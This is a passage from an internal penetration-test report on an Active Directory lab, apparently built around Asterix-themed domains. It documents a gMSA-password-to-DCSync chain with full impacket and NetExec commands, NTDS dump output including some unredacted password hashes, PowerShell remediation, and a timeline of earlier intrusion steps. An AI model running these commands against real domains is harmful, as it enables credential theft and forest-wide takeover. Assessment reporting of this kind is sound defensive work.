Hop 2 — DCSync rights on a non-DC service account. gMSA-obelix$ (RID 1129, SPN HTTP/village.armorique.local, group memberships limited to Domain Users) holds direct ACEs for GetChanges and GetChangesAll on the armorique.local domain root. This is the actual root cause; the gMSA wrapping is incidental. Any principal in possession of the gMSA's password (which Hop 1 supplies on demand to alambix) can perform DCSync and exfiltrate every credential in the forest, including krbtgt.
Confirmed end-to-end exploit:
impacket-getTGT -aesKey <alambix-AES256> armorique.local/alambix → forwardable-irrelevant TGT for LDAP/SMB Kerberos auth (S4U2Proxy is not in play here).nxc ldap village.armorique.local -k --use-kcache --gmsa → current gMSA NT hash d01934a7[REDACTED].impacket-secretsdump armorique.local/gMSA-obelix$@10.3.10.13 -hashes :d01934a7[REDACTED] -just-dc → full 33-entry armorique.local NTDS dump.krbtgt NT 3ab5a4b4[REDACTED] (matches F20 / F22), Administrator NT f3124fb2[REDACTED] (matches F20), every other armorique.local secret.This is an independent path to total armorique.local compromise. It does not require jesse. It does not require the F19 cross-forest password reuse. It does not require rome.local. An attacker who only ever reaches alambix's session or credentials — via phishing, NTLM coercion, or any of the half-dozen primitives that the rest of this report documents — reaches forest compromise.
F28 also composes with F25 (ESC8): the gMSA-obelix$ SPN is HTTP/village.armorique.local, which is almost certainly the IIS pool identity backing the CertSrv vhost referenced by F25. Operators can issue silver tickets to HTTP/village.armorique.local as Administrator using the F28-recovered gMSA NT hash, bypassing the certificate enrollment dance entirely. Not needed in this engagement (DCSync already worked) but worth documenting.
The path was surfaced by BloodHound outbound-edge audit from alambix after the F20 NTDS dump confirmed alambix's AES key was in our possession. The unusual edge (ReadGMSAPassword outbound from a regular user, plus GetChanges outbound from a service account) jumped out immediately in the BloodHound query.
# Hop 1: extract the current gMSA NT hash via Kerberos-authenticated nxc wrapper
impacket-getTGT -aesKey <alambix-AES256-from-rome.local-DCSync> \
armorique.local/alambix -dc-ip 10.3.10.13
KRB5CCNAME=/tmp/alambix.ccache \
python3 nxc_kerberos_wrapper.py ldap village.armorique.local \
-k --use-kcache --gmsa
# Hop 2: DCSync as the gMSA
impacket-secretsdump \
armorique.local/gMSA-obelix\$@10.3.10.13 \
-hashes :d01934a7[REDACTED] \
-just-dc
Relevant output lines:
# Hop 1 — gMSA secret fetched as alambix
Account: gMSA-obelix$ NTLM: d01934a7[REDACTED]
PrincipalsAllowedToReadPassword: ARMORIQUE.LOCAL\Administrators, alambix
# Hop 2 — DCSync as gMSA-obelix$
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f3124fb2[REDACTED]:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3ab5a4b4[REDACTED]:::
gMSA-obelix$:1129:aad3b435b51404eeaad3b435b51404ee:d01934a7[REDACTED]:::
alambix:1141:aad3b435b51404eeaad3b435b51404ee:14954b5f7f824d45c5ce4a68e7a4eb3c:::
prolix:1142:aad3b435b51404eeaad3b435b51404ee:8b021e211dd5ea7682c62d7ee030981a:::
...
[*] Dumped 33 NTDS hashes
BloodHound edge confirmation:
alambix --[ReadGMSAPassword]--> gMSA-obelix$ @ ARMORIQUE.LOCAL
gMSA-obelix$ --[GetChanges]--------> ARMORIQUE.LOCAL (direct ACE on domain root)
gMSA-obelix$ --[GetChangesAll]-----> ARMORIQUE.LOCAL (direct ACE on domain root)
gMSA-obelix$ profile:
sAMAccountName : gMSA-obelix$
objectClass : msDS-GroupManagedServiceAccount
servicePrincipalName : HTTP/village.armorique.local, HTTP/village
PrincipalsAllowedToReadPassword : ARMORIQUE.LOCAL\Administrators, alambix
memberOf : Domain Users only
RID : 1129
Outbound ACEs : GetChanges, GetChangesAll on ARMORIQUE.LOCAL domain root
alambix-gmsa-dcsync-chain.txtalambix-gmsa-shortest-path.txtalambix-gmsa-dcsync-full-chain.txtTotal armorique.local forest compromise, reachable from a regular domain user with no admin rights anywhere in the forest. The chain bypasses every account-tier control that an organization typically relies on (alambix is not in any privileged group, is not in any LAPS-reader group, is not Tier-0 by any normal definition) by routing through a misconfigured ACE on a service account that itself bypasses the tier model. The recovered krbtgt enables persistent Golden Ticket forgery (F22) for up to 10 years in armorique.local, independent of F18 / F20 / F22's other recovery paths.
The most important framing in the executive summary: this is Chain B — a fully independent dual-forest is not required to reach forest compromise. Even with rome.local completely shut down, jesse rotated, lapsus deleted, and every Chain A primitive remediated, Chain B remains exploitable until the gMSA ACL is fixed.
Immediate (0–7 days):
Remove DCSync rights from gMSA-obelix$. Audit and strip the GetChanges + GetChangesAll ACEs on the armorique.local domain root that name gMSA-obelix$:
powershell
Import-Module ActiveDirectory
$dn = (Get-ADDomain).DistinguishedName
$acl = Get-Acl "AD:\$dn"
$acl.Access | Where-Object {
$_.IdentityReference -like '*gMSA-obelix*' -and
$_.ActiveDirectoryRights -match 'GetChanges'
} | ForEach-Object { $acl.RemoveAccessRule($_) | Out-Null }
Set-Acl "AD:\$dn" -AclObject $acl
Remove alambix from PrincipalsAllowedToRetrieveManagedPassword on gMSA-obelix$. Restrict to the consuming computer object only:
powershell
Set-ADServiceAccount -Identity gMSA-obelix$ `
-PrincipalsAllowedToRetrieveManagedPassword '<IIS-host-computer-account>'
Force a password rotation on gMSA-obelix$. The captured NT hash (d01934a7[REDACTED]) is valid until the next 30-day auto-rotation; force it now: Reset-ADServiceAccount -Identity gMSA-obelix$ (or delete and re-create the gMSA if the consuming service supports a clean break).
Rotate armorique.local\krbtgt twice (per F22). The captured hash provides Golden Ticket capability that survives every other remediation in this list.
Short-term (1–4 weeks):
Audit every direct ACE on the armorique.local and rome.local domain roots. Any non-DC, non-tier-0 principal in the list is a root-cause finding:
powershell
$dn = (Get-ADDomain).DistinguishedName
Get-Acl "AD:\$dn" | Select-Object -ExpandProperty Access |
Where-Object { $_.ActiveDirectoryRights -match 'GetChanges|WriteDacl|WriteOwner|GenericAll|GenericWrite' } |
Select IdentityReference, ActiveDirectoryRights, ObjectType |
Sort IdentityReference
Audit every gMSA in both forests for over-permissive PrincipalsAllowedToRetrieveManagedPassword:
powershell
Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword |
Select Name, PrincipalsAllowedToRetrieveManagedPassword
Decommission any gMSA whose readers list contains a regular user or whose consuming service is unknown.
Replicating Directory Changes GUID (1131f6aa-9c07-11d1-f79f-00c04fc2dcd2). DCSync from any non-DC source — including a service account — must alert.Long-term (1–6 months):
See timeline.md for the running log. This section is regenerated on each capture.
nxc smb ... -u "" -p "" --shares) confirmed F04 (anonymous SMB session permitted on both DCs); share enumeration and LSARPC RID-brute were ACL-blocked.nxc smb 10.3.10.13 -u "" -p "" --pass-pol) captured F05 (anonymous policy disclosure) and F06 (weak armorique.local password policy: min-length 5, complexity disabled, no lockout).nxc smb /tmp/lehack_targets.txt -u guest -p "") captured F08 (Guest account enabled with empty password on all three rome.local hosts; armorique.local correctly disabled). RID brute via Guest yielded 35 user names plus 3 computer accounts.infos.txt.txt — first credential-chain step).heftepix recovered plans.txt and captured F09 (cleartext credentials on FTP — second credential-chain step plus username hint pointing at localix).--local-auth spray on METRONUM with the camp password identified localix as the matching local account — captured F10 (local administrator compromise via predictable naming + cred chain).localix --local-auth captured F11 (local SAM hash extraction; built-in Administrator NT hash recovered).lsassy module on METRONUM captured F12 (cleartext musculus domain password, DCC2 hashes for terry and jesse, METRONUM machine-account secrets, DPAPI master keys). BloodHound collection as musculus confirmed jesse adminCount=True — DA candidate via offline crack of recovered DCC2 hash.ROME\lapsus:[REDACTED-PASSWORD].lapsus (nxc ldap ... -M laps) captured F14 — standard domain user has ms-Mcs-AdmPwd read on METRONUM and REFERENDUM; both LAPS-managed local Administrator passwords recovered.ROME\jules.cesar:[REDACTED-PASSWORD] recovered from LSA secrets — same anti-pattern as F12).siddha account (later observed in armorique.local NTDS as RID 1132 — Monday-hint user).39aa7ac6[REDACTED] against rockyou captured F17 — svc_wikijs and jesse2 share the NT hash; cleartext [REDACTED-PASSWORD] consistent with the F13 \\METRONUM\shared\important.txt "Rocky loves you too!" hint.jesse2 added to Domain Admins (operator-facilitated for engagement purposes); nxc smb ... -u jesse2 -p [REDACTED-PASSWORD] --ntds captured F18 — full rome.local NTDS (39 entries) via DCSync; krbtgt, Administrator, and jesse NT hashes recovered.jesse↔jesse DA-in-both, terry↔ldap, epidemais↔prolix, numerobis↔alambix); trust enumeration confirmed no domain or forest trust between rome.local and armorique.local.armorique.local\jesse captured F20 — Pwn3d! on VILLAGE; full armorique.local NTDS via DCSync (33 entries; krbtgt, Administrator, gMSA-obelix$ recovered). F21 (gMSA secret) and F22 (Golden Ticket capability across both forests) captured concurrently.localuser excluded per project memory.certipy-ad find -vulnerable against ARMORIQUE-CA captured F25 — ADCS ESC8 (Web Enrollment over HTTP, Authenticated Users can Enroll). rome.local confirmed to have no ADCS in scope.alambix as prolix returned an RC4-HMAC TGS-REP; full S4U2Self + S4U2Proxy chain attempted as alambix (AES TGT obtained, S4U2Proxy blocked by non-forwardable TGT — KDC_ERR_BADOPTION) — captured F26 (constrained delegation w/ protocol transition on a Protected Users member; defense-by-accident via Protected Users).ReadGMSAPassword on gMSA-obelix$; nxc ldap --gmsa (Kerberos auth) recovered the current gMSA NT hash d01934a7[REDACTED] — F28 hop 1.impacket-secretsdump as gMSA-obelix$ with the recovered NT hash captured F28 hop 2 — full armorique.local NTDS dump (33 entries); krbtgt and Administrator hashes recovered. Independent path to forest compromise (no jesse, no rome.local, no cross-forest reuse) confirmed end-to-end.See hosts.csv for the source data. This table is regenerated on each capture.
| Host | IP | Findings | Highest Rating |
|---|---|---|---|
| BABAORUM | 10.3.10.10 | F01, F03, F04, F07, F08, F14, F17, F18, F19, F22, F23, F24 | Critical |
| METRONUM | 10.3.10.11 | F02, F08, F09, F10, F11, F12, F13, F14, F17, F23, F24 | Critical |
| REFERENDUM | 10.3.10.12 | F02, F08, F14, F15, F16, F17, F23, F24 | Critical |
| VILLAGE | 10.3.10.13 | F01, F03, F04, F05, F06, F19, F20, F21, F22, F23, F24, F25, F26, F27, F28 | Critical |
| Tool | Purpose |
|---|---|
| NetExec (nxc) | SMB/LDAP/WinRM enumeration, password spray |
| Impacket suite | Kerberos attacks, SMB relay, secretsdump |
| BloodHound-CE | AD attack-path mapping |
| Certipy-ad | ADCS template enumeration and abuse |
| Responder | LLMNR/NBT-NS/mDNS poisoning |
| mitm6 | IPv6 DHCP / DNS takeover |
| Hashcat | Offline hash cracking |
Not applicable to internal engagement.